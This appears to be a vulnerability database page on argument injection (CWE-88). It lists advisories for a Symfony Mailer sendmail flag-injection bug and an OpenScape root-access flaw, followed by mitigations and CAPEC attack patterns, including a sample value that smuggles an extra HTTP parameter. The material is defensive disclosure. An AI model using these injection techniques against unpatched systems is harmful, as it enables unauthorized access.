"url": "https://access.redhat.com/errata/RHSA-2026:13736"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:14100"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:14774"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:15091"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:17598"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20088"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21691"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3556"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3559"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3855"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4434"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5133"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5907"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5941"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5942"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5943"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5944"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5948"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5950"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XX3C-QF5G-HC39
Vulnerability from github – Published: 2026-05-27 20:46 – Updated: 2026-05-27 20:46Description
Symfony Mailer selects a transport via the MAILER_DSN environment variable / configuration (e.g. smtp://..., sendmail://..., native://default). SendmailTransport invokes the local sendmail binary and supports two modes: -bs (speak SMTP over stdin: the default) and -t (read the message on stdin, pass recipients as command-line arguments).
In -t mode, recipient addresses are appended to the sendmail command line without a -- end-of-options separator. A recipient address beginning with - (which Symfony\Component\Mime\Address accepts as valid) is therefore interpreted by sendmail as a command-line option rather than an address.
Resolution
The SendmailTransport transport now ensure -- is set before the list of recipients.
The patch for this issue is available here for branch 5.4.
Credits
Symfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and providing the fix.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/mailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.4.52"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.4.52"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/mailer"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.4.40"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/mailer"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/mailer"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.4.40"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45068"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T20:46:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Description\n\nSymfony Mailer selects a transport via the `MAILER_DSN` environment variable / configuration (e.g. `smtp://...`, `sendmail://...`, `native://default`). `SendmailTransport` invokes the local `sendmail` binary and supports two modes: `-bs` (speak SMTP over stdin: the default) and `-t` (read the message on stdin, pass recipients as command-line arguments).\n\nIn `-t` mode, recipient addresses are appended to the sendmail command line **without a `--` end-of-options separator**. A recipient address beginning with `-` (which `Symfony\\Component\\Mime\\Address` accepts as valid) is therefore interpreted by sendmail as a command-line option rather than an address.\n\n### Resolution\n\nThe `SendmailTransport` transport now ensure `--` is set before the list of recipients.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/c45144862dc289d03952f41f6078174089a3afc6) for branch 5.4.\n\n### Credits\n\nSymfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and providing the fix.",
"id": "GHSA-xx3c-qf5g-hc39",
"modified": "2026-05-27T20:46:05Z",
"published": "2026-05-27T20:46:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/symfony/symfony/security/advisories/GHSA-xx3c-qf5g-hc39"
},
{
"type": "WEB",
"url": "https://github.com/symfony/symfony/commit/c45144862dc289d03952f41f6078174089a3afc6"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/mailer/CVE-2026-45068.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45068.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/symfony/symfony"
},
{
"type": "WEB",
"url": "https://symfony.com/cve-2026-45068"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Symfony has an Argument Injection in SendmailTransport via Dash-Prefixed Recipient Address"
}
GHSA-XX5W-J8G7-4V5F
Vulnerability from github – Published: 2023-12-05 09:33 – Updated: 2023-12-13 18:30An argument injection vulnerability has been identified in the administrative web interface of the Atos Unify OpenScape products "Session Border Controller" (SBC) and "Branch", before version V10 R3.4.0, and OpenScape "BCF" before versions V10R10.12.00 and V10R11.05.02. This allows an unauthenticated attacker to gain root access to the appliance via SSH (scope change) and also bypass authentication for the administrative interface and gain access as an arbitrary (administrative) user.
{
"affected": [],
"aliases": [
"CVE-2023-6269"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-05T08:15:08Z",
"severity": "CRITICAL"
},
"details": "An argument injection vulnerability has been identified in the \nadministrative web interface of the Atos Unify OpenScape products \"Session Border Controller\" (SBC) and \"Branch\", before version V10 R3.4.0,\u00a0and OpenScape \"BCF\" before versions V10R10.12.00 and V10R11.05.02. This allows an \nunauthenticated attacker to gain root access to the appliance via SSH (scope change) and also bypass authentication for the administrative interface and gain\n access as an arbitrary (administrative) user.",
"id": "GHSA-xx5w-j8g7-4v5f",
"modified": "2023-12-13T18:30:59Z",
"published": "2023-12-05T09:33:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6269"
},
{
"type": "WEB",
"url": "https://networks.unify.com/security/advisories/OBSO-2310-01.pdf"
},
{
"type": "WEB",
"url": "https://r.sec-consult.com/unifyroot"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176194/Atos-Unify-OpenScape-Authentication-Bypass-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2023/Dec/16"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Parameterization
Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
Mitigation
Strategy: Input Validation
Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
Mitigation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
CAPEC-137: Parameter Injection
An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.
CAPEC-174: Flash Parameter Injection
An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.
CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads
This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.
CAPEC-460: HTTP Parameter Pollution (HPP)
An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.